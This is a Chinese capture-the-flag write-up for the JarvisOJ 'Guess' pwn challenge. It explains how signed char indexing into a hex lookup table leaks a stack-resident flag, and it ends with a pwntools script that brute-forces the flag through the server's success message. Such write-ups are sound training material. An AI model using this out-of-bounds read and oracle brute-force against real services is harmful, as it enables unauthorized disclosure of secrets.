JarvisOJ | Guess (带技巧的exp爆破)
这道题对我来说还是挺难的,做了很久很久吧,差点砸电脑,还好最后AC了,现记录一下过程。
反汇编分析
查一下保护机制,只开了 NX
main() 函数里是 socket 网络编程的内容,看起来不太需要分析,于是进入其调用的 handle() 函数
逻辑似乎和逆向题差不多,每次输入一个字符串后用函数 is_flag_correct() 判断是否正确
进入 is_flag_correct() 函数
首先看到我们输入的字符串是 flag_hex ,这个命名已经提示我们输入的是 flag 字符的十六进制串(然鹅我开始并没有意识到)
同时限制了输入串的长度必须为 100 ,即 flag 串长度的两倍
for ( i_0 = 0; i_0 <= 49; ++i_0 )
diff |= flag[i_0] ^ given_flag[i_0];
return diff == 0;
最后的这段代码是判断 flag 和 given_flag(程序计算出的)是否相等,并返回结果
而 flag 串的明文在栈内存中会出现,但我们用 IDA 看到的是假的,需要想办法在线获取
发现这题无法用之前常用的缓存区溢出漏洞来实现 pwn(保护白关了)
关键代码
考虑有没有泄露内存的方法,于是再分析一下代码
for ( i = 0; i <= 49; ++i ) {
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];
given_flag[i] = value2 | 16 * value1;
}
这几句看起来比较关键,一个个数组来看
flag_hex[] 是我们输入的,bin_by_hex[] 是数据段内存 unk_401100 拷贝过来的
而 given_flag[] 的计算过程其实就是把 value1 当作十六进制字符首位,value2 为末位,计算一个 ASCALL 值,即:
given_flag[i] = (char)(value1 * 16 + value2)
这要求了 (char)value1/2 的真实值范围是 0~15,其依赖于 bin_by_hex[] 数组的寻址
而 bin_by_hex[] 里面的数据比较有意思
发现除了偏移量为 48-57,65-90,97-122 的字节的真实值为 0-15 外,其他都是 0xFF(-1)
若把以上三个范围的偏移量作为 ASCALL 值,则分别代表了数字、大写字母、小写字母
所以源程序的逻辑就理清了,如下:
\((1)\) 输入 flag 的十六进制字符串
\((2)\) 每次取两位计算一位字符(利用 bin_by_hex 数组寻址)
\((3)\) 与真实 flag 校验
那我们应该如何利用这一过程获取栈空间中的 flag 呢?其实还要通过 bin_by_hex 寻址的过程
漏洞利用
显然 flag_hex[] 是受我们控制的,如果我们令它为负数,就可以访问到 bin_by_hex[0] 往上的栈空间
再来看一手栈布局
bin_by_hex[] 往上就是 flag[] 了,这样只要让 flag_hex[2 * i + 1] 取一个负值,就可以让 value2[i] 成为 flag 串的一个字节
这种操作有点奇怪,因为 flag_hex 毕竟是个 char 数组,但试验后发现用 char 作下标时会转化成带符号的 int8 类型,0xFF -> -1
至于 value1 在写 payload 时让它为 0 就好了,最后计算出的 give_flag[i] 就是 flag[i] 了
如此操作 50 次,就通过了校验,此时我们一个得到了一个通用 payload,但 flag 明文依然不知道,于是考虑进行逐位爆破
爆破操作
爆破的大致思路是在通用 payload(在下面代码中为 leak)的基础上进行两位两位的修改,
枚举可能出现的字符 [0-9a-z],把原先的用于泄露的双字节改成真实字符的 ASCALL 值的十六进制表示的字符
比如枚举到 'a' 时,'a' 的 ASCALL 值为 97,十六进制为 0x61,就把 payload[i * 2] 改为 '6',payload[i * 2 + 1] 改为 '1'
如果正好找到了当前双字节的原本值,就会在 send 之后接受到成功信息:Yaaaay
,把当前双字节加入答案串中
对于每个双字节都如此操作,就可以逐位爆破出全部的答案串,注意下格式是 PCTF{}
代码如下
from pwn import *
io = remote('pwn.jarvisoj.com', '9878')
#io = process('./source')
#context(log_level = 'debug')
List = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
leak = []
for i in range(50):
leak.append('0')
leak.append(chr(128 + 0x40 + i))
flag = 'PCTF{'
for i in range(5, 50):
for j in List:
io.recvuntil('>')
#print 'i = ', i, 'j =', j
#print ord(j)
payload = leak
# '0' -> '0x30'
payload[i*2] = hex(ord(j))[2]
payload[i*2+1] = hex(ord(j))[3]
#print bytes(''.join(payload))
#print ''.join(payload)
io.sendline(''.join(payload))
re = io.recvline()
#print re
if re.count('Yaaaay'):
flag += j
break
flag += '}'
print flag
io.interactive()